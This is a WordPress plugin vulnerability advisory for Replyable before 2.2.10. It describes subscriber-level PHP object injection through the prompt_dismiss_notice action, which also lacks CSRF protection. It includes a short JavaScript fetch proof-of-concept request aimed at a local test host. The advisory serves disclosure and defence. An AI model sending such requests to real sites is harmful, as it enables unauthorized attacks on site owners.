WordPress Plugin Vulnerabilities

Replyable < 2.2.10 - Subscriber+ PHP Object Injection

Description

The plugin does not validate the class name submitted by the request when instantiating an object in the prompt_dismiss_notice action and also lacks CSRF check in the related action. This could allow any authenticated users, such as subscriber to perform Object Injection attacks. The attack could also be done via a CSRF vector against any authenticated user

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch('http://wpscan.local/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=prompt_dismiss_notice&class=Malicious'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

Fixed in 2.2.10

References

Classification

Type
OBJECT INJECTION
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-08 (about 1 years ago)
Added
2023-02-08 (about 1 years ago)
Last Updated
2023-02-08 (about 1 years ago)

Other